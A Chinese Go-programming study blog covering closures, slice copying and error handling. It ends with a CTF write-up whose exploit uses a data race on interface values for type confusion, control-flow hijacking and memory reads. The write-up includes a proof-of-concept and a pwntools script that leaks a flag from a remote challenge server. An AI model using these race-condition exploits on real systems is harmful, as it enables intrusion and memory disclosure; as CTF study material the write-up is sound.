分类 Golang 下的文章

原先是一篇一篇写,想着反正学无止境,干脆直接归档起来,也方便阅读...

一、关于 Go 语言闭包函数的一些分析

0x00 关于闭包概念

闭包函数的特性存在于很多高级语言中。简而言之:如果函数A的返回值也是一个函数L,其作为返回值的函数L使用了这个函数A所创建的某个局部变量,并把对这个局部变量的控制能力(使用权)提供给了外部的某个函数B,就会产生所谓的闭包

对于只学过传统的编程语言(如C语言)的人,这似乎难以理解。因为对于下面这样的调用栈模型:

funcB() -> funcA()

在几乎所有C编译器所实现的调用栈规则中,funcA所创建的局部变量都保存在线性的空间上,当funcA结束并返回时,其栈上的临时变量都会被清空,只把返回值交回给funcB。那么假如带入闭包的概念很容易发现一个矛盾就是,如果funcA返回了一个函数L——可以是函数指针或者其它什么形式都不重要,这个函数L引用了funcB的局部变量,那funcB取得函数L时如果再尝试访问函数L所引用的局部变量就会产生不可预知的错误甚至严重的安全问题。

0x01 实现机制

那么具有这个特性的语言是如果解决该问题的?这其实无法一概而论,这里只介绍golang中是如何实现的,一方面是golang的实现方式比较容易理解,另一方面是我正好也在学习golang。

回到这个问题,其实golang的实现方法非常简单,既然放到栈上会被销毁,那么就可以放到空间上。这个步骤是由go语言编译器所实现的,用户并不需要操心其中的细节。

在看闭包之前,先看下面的例子:

func foo() *int {
    t :=8
    return &t;
}

直觉上这么写会返回一个对栈上不可控位置的引用,产生安全问题,实际上go编译器很容易能识别到这是一种逃逸(escape)情况,于是会在编译期使用堆分配器去存放这个变量t,返回的也是对堆内存上的引用。

同样的思路去理解下面golang对于函数闭包的具体实现很有帮助。

0x02 Go闭包实例

代码实现

这是一个例子

编译的时候记得关掉优化和内联
/* go build -gcflags "-N -l" main.go */
package main

import (
    "fmt"
)

func test1(i int) func() int {
    return func() int {
        i += 1
        return i
    }
}

func test2(i int) func() int {
    return func() int {
        return i + 1
    }
}

func main() {
    func1 := test1(1)
    func2 := test1(2)
    func3 := test2(1)
    fmt.Println("func1()*3:")
    fmt.Println(func1())
    fmt.Println(func1())
    fmt.Println(func1())
    fmt.Println("func2()*3:")
    fmt.Println(func2())
    fmt.Println(func2())
    fmt.Println(func2())
    fmt.Println("func3()*3:")
    fmt.Println(func3())
    fmt.Println(func3())
    fmt.Println(func3())
}

输出

func1()*3:
2
3
4
func2()*3:
3
4
5
func3()*3:
2
2
2

test1test2函数都返回了一个匿名函数,这个匿名函数的返回值是个int类型。而且两个匿名函数都引用了本来是传递给外部函数的参数i,区别只在于匿名函数内部对i的操作不同。

从程序的输出可以直观的感觉到,虽然func1func2都是test1()的返回值,但是func1func2所使用的i并不是同一个i,这个感觉是正确的——每调用test1一次所返回的函数都具有不同的上下文信息(context),在这个例子中,func1func2的上下文信息就包含了各自互不相干的i变量。

到这其实关于golang闭包函数的概念以及效果似乎就挺清晰了,但是仔细看了下输出发现又有点小疑惑,为什么test1和test2所返回的匿名函数的返回值都是i递增1,但是最后的输出却截然不同呢?借这个疑惑正好可以开始下面更为深入的分析...

逆向分析

首先使用IDA 7.6(之前的版本需要安装IDAGolangHelper插件)进行反编译分析:

Step1: main_main 函数

2021-11-16T10:06:20.png

重点关注main_test1main_test2函数的内部实现

Step2: main_test1 函数

2021-11-16T10:39:17.png

runtime_newobject()被调用了两次,这个函数的作用是运行时在堆上给对象申请内存并返回对象的引用(在这里是指针)

由上面的注释可以看出来,v3存放了第二次runtime_newobject()的结果,它很像一个有两个字段的结构体,第一个字段v3[0]存放了main_test1_func1函数的指针——傻子都能猜到这是test1所返回的匿名函数的指针;第二个字段v3[1]存放了第一次调用runtime_newobject()所返回的引用——那就是test1中变量i的引用了,并且i是在堆内存中。

利用上面的猜测在IDA中创建一个名为闭包(Closure)的结构体,以便于后续分析

2021-11-16T10:44:52.png

源代码中的fmt.Println(func1())对应下面的逻辑:

2021-11-16T10:47:56.png

也就是说go源码中的func1()在底层实现上其实就是调用了闭包结构体中存放的的函数指针——func1->F(),于是进一步分析函数指针所指向的匿名函数

Step3: main_test1_func1 匿名函数

首先看看这个函数是怎么被调用的

2021-11-16T10:54:55.png

func1这个闭包结构体的地址先被存到了rdx中,然后从[rdx+0]取出函数指针放到rsi,通过call rsi调用匿名函数

然后看看匿名函数的实现

2021-11-16T10:57:05.png

很简单就两行,第一行从之前保存在rdx的闭包结构体中取出了上下文变量i指针存在tmp;然后通过tmp指针完成对i的自增,返回自增后的值。

总结一下:每次调用test1(n)都创建了一个新的闭包结构体,这个结构体保存了匿名函数的指针和匿名函数用到的上下文变量。其它调用者只需要拿住这个闭包结构体,就可以随时调用匿名函数。在调用前,调用者会把闭包结构体的引用通过rdx方式传进去,被调用的匿名函数同样需要遵循这么一个调用约定——也应该从rdx的结构体指针取出上下文变量然后进行运算,这样就完成了一次闭包操作。

Step4: main_test2_func1 匿名函数

test1弄懂了就可以解决关于“为什么test2()返回的func3在每次调用的时候值保持2而不会递增”的这个疑问了,直截了当看main_test2_func1匿名函数

2021-11-16T11:06:30.png

很明显,这个匿名函数每次都只是返回了上下文变量i+1后的结果,并未改变i在上下文中的值(一直保持为1),所以func3()的结果是永远都不会变的——这也是初学者在写闭包函数时容易犯的一些小错误,这里从底层的角度解释了其原因。

二、切片(Slice)数据类型的三种拷贝方式

Golang中切片数据类型常用的三种拷贝方式区别以及底层原理分析

0x00 Go语言切片结构体

切片(Slice)可以看成可变长的数组,主要具有append, copy, len, cap等方法,这是其结构体定义:

type slice struct {
    array unsafe.Pointer
    len   int
    cap   int
}
  • 第一个字段 array 是一个指向一段连续内存的指针,数据在这段内存上连续保存
  • 第二个字段 len 表示当前切片的有效长度,即元素的个数,可用 len() 方法取得。尝试访问超出这个范围的元素会提示下标越界。
  • 第三个字段 cap 表示当前切片的最大容量,当切片使用 append() 方法添加元素且剩余容量不足时,goroutine 会自动帮你重新分配内存来扩容,并将原来的值拷贝到新内存区域,扩容策略类似 C++ 的 vector 。注意,扩容之后 array 指针会发生变化,指向新的内存

0x01 样例分析

  1. 代码
package main

import (
    "fmt"
)

func printSlice(arr []int) {
    fmt.Printf("arr: %v &arr: %p &arr[0]: %p len: %d cap: %d\n", arr, &arr, &arr[0], len(arr), cap(arr))
}

func main() {
    var arr1 []int
    arr1 = append(arr1, 1, 2, 3, 4, 5)
    arr2 := arr1 // way1
    arr3 := make([]int, 5, 6)
    copy(arr3, arr1)  // way2
    arr4 := arr1[0:3] // way3

    printSlice(arr1)
    printSlice(arr2)
    printSlice(arr3)
    printSlice(arr4)
    fmt.Println()

    arr1[0] = -1 // assignment

    printSlice(arr1)
    printSlice(arr2)
    printSlice(arr3)
    printSlice(arr4)
    fmt.Println()

    arr1 = append(arr1, 6, 7, 8, 9, 10) // expand
    arr1[1] = -2                        // assignment

    printSlice(arr1)
    printSlice(arr2)
    printSlice(arr3)
    printSlice(arr4)
    fmt.Println()
}
  1. 输出
arr: [1 2 3 4 5] &arr: 0xc000004078 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc0000040a8 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc0000040d8 &arr[0]: 0xc00000c420 len: 5 cap: 6
arr: [1 2 3] &arr: 0xc000004108 &arr[0]: 0xc00000c3f0 len: 3 cap: 6

arr: [-1 2 3 4 5] &arr: 0xc000004138 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [-1 2 3 4 5] &arr: 0xc000004168 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc000004198 &arr[0]: 0xc00000c420 len: 5 cap: 6
arr: [-1 2 3] &arr: 0xc0000041c8 &arr[0]: 0xc00000c3f0 len: 3 cap: 6

arr: [-1 -2 3 4 5 6 7 8 9 10] &arr: 0xc0000041f8 &arr[0]: 0xc00001e180 len: 10 cap: 12
arr: [-1 2 3 4 5] &arr: 0xc000004228 &arr[0]: 0xc00000c3f0 len: 5 cap: 6
arr: [1 2 3 4 5] &arr: 0xc000004258 &arr[0]: 0xc00000c420 len: 5 cap: 6
arr: [-1 2 3] &arr: 0xc000004288 &arr[0]: 0xc00000c3f0 len: 3 cap: 6

代码中声明了四个int类型的切片,其中arr1为源切片,其它三个切片由不同的拷贝手段从arr1拷贝而来。arr2使用了最常用的:=符号来赋值;arr3使用了copy方法赋值;arr4则使用arr1中的部分范围来赋值。

分析

在四个切片初始化完成后,进行了一次 printSlice() 分别输出切片当前所有元素,切片结构体地址,切片首元素的地址(可以视为 array 指针的值),切片长度以及切片容量。首次 printSlice 的结果可以看到两个很明显的结果:

a. arr1 和 arr2 的结构体地址不同,但是使用了同一个 `array` 指针,也就是说不同切片引用了同一片连续内存;

b. arr1 和 arr4 的结构体地址不同,但是 `array` 指针也相同,说明 `[start:end]` 这种拷贝方式其实还是引用到了 arr1 原来的连续内存,只是 `len` 和 `cap` 字段进行了修改。可以预见,如果用的是 `[1:5]` 来拷贝那么 `&arr4[0]` 的值应该会变为 `0xc00000c3f0+4` ——增加了一个 int 的大小;

修改 arr1[0] 值为-1后再次输出,没有意外的——arr2[0] 以及 arr4[0] 都发生了改变变成了-1,产生了一种类似浅拷贝的效果。到此为止 arr3 并没有发生一点变化,因为从输出的结果来看, arr3 底层的 array 指针从一开始就指向单独分配的内存,换言之显式的使用 copy() 去拷贝切片会真实的在内存中开辟一块新区域存放源切片的副本,对新切片的读写也完全不会影响原切片;

尝试使用 append 触发 arr1 的自动扩展,然后修改 arr1[1] 的值为-2,再输出一次。可以看到结果中 &arr1[0] 的地址已经发生了大变化——array 引用的内存地址为 go 线程新申请的内存。并且这次对 arr1[1] 的修改没有再影响到 arr2 和 arr4。

0x02 总结

  • :=拷贝方式:没有直接创建数据的副本,而且引用了同一个array
  • [start:end]方式:同样没有创建副本,但是会根据起始和结束的位置修改array指针的偏移以及lencap的大小;
  • copy()方式:最无忧的方式,会直接在内存中创建一个新的副本,免去不必要的干扰。但在实际工程中,并不是copy()一定是最好的,因为需要考虑到执行效率,尽量降低申请内存的次数。题外话:使用make预先说明好可能的最大容量也可以避免频繁扩容申请内容造成性能损耗。

对于有良好C/C++编程基础的人,看了样例很快就能猜出go语言切片的一些底层原理。但是对于以go入门的人而言弄明白这个可以避免创造一些神奇的bug。

三、两种常用错误(异常)处理方式

首先明确一下,这个标题其实是有问题的,在工程上错误不等于异常。错误通常是在业务逻辑中可预见的一些不合法情况,比如字符串长度过长,除数为0等;而异常通常都是运行时一些难以预见的错误,比如一些隐蔽的下标越界等。

0x00 通过实现Error方法

error 本身就是一个接口,具有一个 Error 方法:

type error interface {
    Error() string
}

比较常见的作法是实现这个接口,然后把err放在返回值中,由调用逻辑判断err是否为nil来决定是否进入错误处理逻辑。这种方式通常会产生大量的if语句,对于用惯了别的编程语言错误处理方式的人来说确实有些反人类...

package main

import (
    "fmt"
)

// 定义一个 DivideError 结构
type DivideError struct {
    dividee int
    divider int
}

// 实现 `error` 接口
func (de *DivideError) Error() string {
    strFormat := `
    Cannot proceed, the divider is zero.
    dividee: %d
    divider: 0
`
    return fmt.Sprintf(strFormat, de.dividee)
}

// 定义 `int` 类型除法运算的函数
func Divide(varDividee int, varDivider int) (result int, errorMsg string) {
    if varDivider == 0 {
            dData := DivideError{
                    dividee: varDividee,
                    divider: varDivider,
            }
            errorMsg = dData.Error()
            return
    } else {
            return varDividee / varDivider, ""
    }

}

func main() {

    // 正常情况
    if result, errorMsg := Divide(100, 10); errorMsg == "" {
            fmt.Println("100/10 = ", result)
    }
    // 当除数为零的时候会返回错误信息
    if _, errorMsg := Divide(100, 0); errorMsg != "" {
            fmt.Println("errorMsg is: ", errorMsg)
    }

}

Divide 函数检查到除数为0时会设置errorMsg = dData.Error(),调用者通过判断第二个返回值是否为空来确定是否发生错误。

0x01 通过defer+recover方法

通过 defer 函数 的方式可以预执行一个函数,所谓预执行就是将函数放进一个LIFO的链表中,在函数执行完毕返回或者因为异常退出的时候就会逐一执行该链表中的函数。defer 常常被用于资源释放。

recover() 可以将go进程从panic中取回控制权,并返回panic的异常消息。

由此可以得到一个利用 panic("异常消息") 抛出异常触发函数返回,然后使用 defer func() {...} 来捕捉异常的错误处理思路。

package main

import "fmt"

func test3(index int) {
    /*
        错误拦截要在产生错误前设置,因此建议大家把错误拦截的函数放在函数内部的首行定义。
    */
    defer func() {
        err := recover()
        if err != nil {
            fmt.Println(err)
        }
    }()

    /*
        定义容量为10的数组
    */
    var arr [10]int

    if index >= 10 {
        panic("请注意,index > 10,出现了索引越界异常...(index的取值范围0~9)")
    }

    arr[index] = 123

    fmt.Println(arr)
}

func main() {
    test3(5)
    test3(12)
    fmt.Println("代码执行完毕")
}

注意由于需要捕获整个函数的异常所以在开头定义 defer 匿名函数。当下标越界发生后触发函数退出,开始执行defer构建的函数链表,此时 recover() 取回控制权并返回错误信息。

对比一下同一个样例,定义了defer和没定义defer的执行结果:

  1. 定义了defer:
[0 0 0 0 0 123 0 0 0 0]
请注意,index > 10,出现了索引越界异常...(index的取值范围0~9)
代码执行完毕
  1. 没定义defer:
[0 0 0 0 0 123 0 0 0 0]
panic: 请注意,index > 10,出现了索引越界异常...(index的取值范围0~9)

goroutine 1 [running]:
main.test3(0x4c52b9)
        C:/Users/xxx/main.go:16 +0x112
main.main()
        C:/Users/xxx/main.go:26 +0x28
exit status 2

可以看到,无论有没有defer,panic都打断了函数的执行。但是defer可以使得程序流继续往下而不是直接中断。

一道google题

golang相关

一些特性

  • golang默认是静态编译,而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看,main调用了hack,所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移,就可以计算出远程环境中flag在栈上的位置。
  • goroutine的模型大概如下(知乎看到的):

    • goroutine与系统线程模型
    • M是系统线程,P是上下文,G是一个goroutine。具体实现请移步:https://www.zhihu.com/question/20862617
    • 创建goroutine很容易,只需要go function_name()即可
  • 题目不允许import包,但是builtin包中有println可以用来打印信息(打印变量地址或值)

go中的数据结构

实现本题要用到的数据结构不多,只介绍go中常用于data race的数据结构

更详细的资料请移步文档:https://studygolang.com/pkgdoc

Struct

基本定义如下:

type struct_name struct {
    name type
}

Go 语言中没有类的概念,因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types),当需要定义一个类型,它由一系列属性组成,每个属性都有自己的类型和值的时候,就应该使用结构体,它把数据聚集在一起。

Interface

interface是一组method的集合,是duck-type programming的一种体现。接口做的事情就像是定义一个协议(规则),只要一台机器有洗衣服和甩干的功能,我就称它为洗衣机。不关心属性(数据),只关心行为(方法)。

接口(interface)也是一种类型。

一个对象只要全部实现了接口中的方法,那么就实现了这个接口。换句话说,接口就是一个需要实现的方法列表。

例子:

// Sayer 接口
type Sayer interface {
    say()
}

type dog struct {}

type cat struct {}

// dog实现了Sayer接口
func (d dog) say() {
    fmt.Println("汪汪汪")
}

// cat实现了Sayer接口
func (c cat) say() {
    fmt.Println("喵喵喵")
}

func main() {
    var x Sayer // 声明一个Sayer类型的变量x
    a := cat{}  // 实例化一个cat
    b := dog{}  // 实例化一个dog
    x = a       // 可以把cat实例直接赋值给x
    x.say()     // 喵喵喵
    x = b       // 可以把dog实例直接赋值给x
    x.say()     // 汪汪汪
}

可以看到,实现了接口方法的结构体变量可以赋值给接口变量,然后可以用该接口来调用被实现的方法。

值接收者和指针接收者实现接口的区别(这里不是很清楚,建议自己查):

当值接收者实现接口:

func (d dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
    x.move()
}

可以发现:使用值接收者实现接口之后,不管是dog结构体还是结构体指针*dog类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖,dog指针fugui内部会自动求值*fugui

注意

当指针接收者实现接口:

func (d *dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x不可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
}

此时实现Mover接口的是*dog类型,所以不能给x传入dog类型的wangcai,此时x只能存储*dog类型的值。

Slice

切片是数组的一个引用,因此切片是引用类型。但自身是结构体,值拷贝传递。

切片的底层数据结构:

type slice struct {  
    array unsafe.Pointer
    len   int
    cap   int
}

array是被引用的数组的指针,len是引用长度,cap是最大长度(也就是数组的长度)

Data race

比赛结束的时候查到这篇博客:http://wiki.m4p1e.com/article/getById/90

以及它的引用(讲得比较好,建议看这个):https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html

这两篇博客解释了data race的原理

interface既然可以接收不同的实现了接口方法的接口题变量,那么它一定是一种更为抽象的数据结构,我将其粗略描述为如下:

type Interface struct{
    type **uintptr
    data **uintptr
}

所以在给接口变量传值的过程中实际上发生了两次数据转移操作,一次转移到type,一次转移到data。而这个转移操作并不是原子的。意味着,如果在一个goroutine中频繁对接口变量交替传值,在另一个goroutine中调用该接口的方法,就可能出现下面的情况:

  • (正常)type和data正好都是A或B struct的type和data
  • (异常)type和data分别是A和B struct的type和data,如下:
{
    type --> B type
    data --> A date --> value f
}

而调用接口时是通过判断type来确定方法的具体实现,这就出现了调用B实现的方法来操作A中数据的错误情况。

看博客中的例子就明白了:

package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

func address(i interface{}) int {
    addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
    if err != nil {
        panic(err)
    }
    return int(addr)
}

type itf interface {
    X()
}

type safe struct {
    f *int
}

func (s safe) X() {}

type unsafe struct {
    f func()
}

func (u unsafe) X() {
    if u.f != nil {
        u.f()
    }
}

func win() {
    fmt.Println("win", i, j)
    os.Exit(1)
}

var i, j int

func main() {
    if runtime.NumCPU() < 2 {
        fmt.Println("need >= 2 CPUs")
        os.Exit(1)
    }
    var confused, good, bad itf
    pp := address(win)
    good = &safe{f: &pp}
    bad = &unsafe{}
    confused = good
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 { 
                    return
                }
                fmt.Println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
}

这里暂且不管作者实现的address这个小trick

在main中启动了一个goroutine,其中不断交叉对confused传值,其中badunsafe类型,goodsafe类型。当条件竞争发生,confusedtype指向bad,而data还是good。当原来的routine调用confused中的X方法时就会把good中的*int值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win,就可以实现程序流劫持。

赛题

题目分析

回到题目本身:

package main

func main() {
        flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
        for i, v := range flag {
                flag[i] = v + 1
        }
        hack()
}

func hack() {
    /*code*/
}

地址泄露过程:
- 本地构造好EXP框架后,打印出flag首元素地址
- 去掉main中的println语句,然后打印hack中栈变量的地址
- 计算两地址差值作为偏移
- 打印出远程环境中hack栈变量的地址
- 用之前的偏移计算出flag首元素的地址
- 注意:
-- go版本一定要和远程对上
-- 虽然main中的println不影响flag的地址,但是会影响hack中栈变量的地址
-- 实测发现如果不把EXP框架构造好直接打印hack栈变量的地址计算出的偏移是不对的,也许编译期间有一些我不知道的机制在里面。

不做过多演示

接下来问题的关键在于泄露一个已知地址上的值应如何实现。

而golang在不使用unsafe包时不允许把已知的整数值地址,转换为指针进行读写操作。于是需要用条件竞争,来绕过这个限制,从而泄露出我们自定义地址保存的的值。

EXP:

from pwn import *
import time

code_base = '''
func hack(){
    println("exp start...")
    a := "123"
    println(&a) 
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} 
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}
#'''

flag = ""

for i in range(45):
    p = remote("123.56.96.75", 30775)
    #context.log_level = "debug"
    p.recvuntil(b"[*] Now give me your code: \n")
    print(str())
    code = code_base.replace('{{offset}}', str(i))
    p.sendline(code)
    p.recvuntil(b"AAAA\n")
    chr_int = int(p.recvuntil(b"\n", drop=True), 10)
    flag += chr(chr_int - 1)
    p.close()
    print(flag)

print("flag:", flag)

单独看其中code_base部分

func hack(){
    println("exp start...")
    a := "123"
    println(&a) //用于地址泄露
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}

其中safe结构中有int类型的f,而unsafe结构中有*int类型的f。并且unsafe实现了接口itfX方法,该方法输出f *int指针保存的值。在条件竞争时,如果confused中type为unsafe,而data为bad中的数据(创建bad的时候f被赋值为flag元素的地址),这时调用confusedX方法就会打印出flag元素地址中的值了。

最后python统一接收处理得出flag。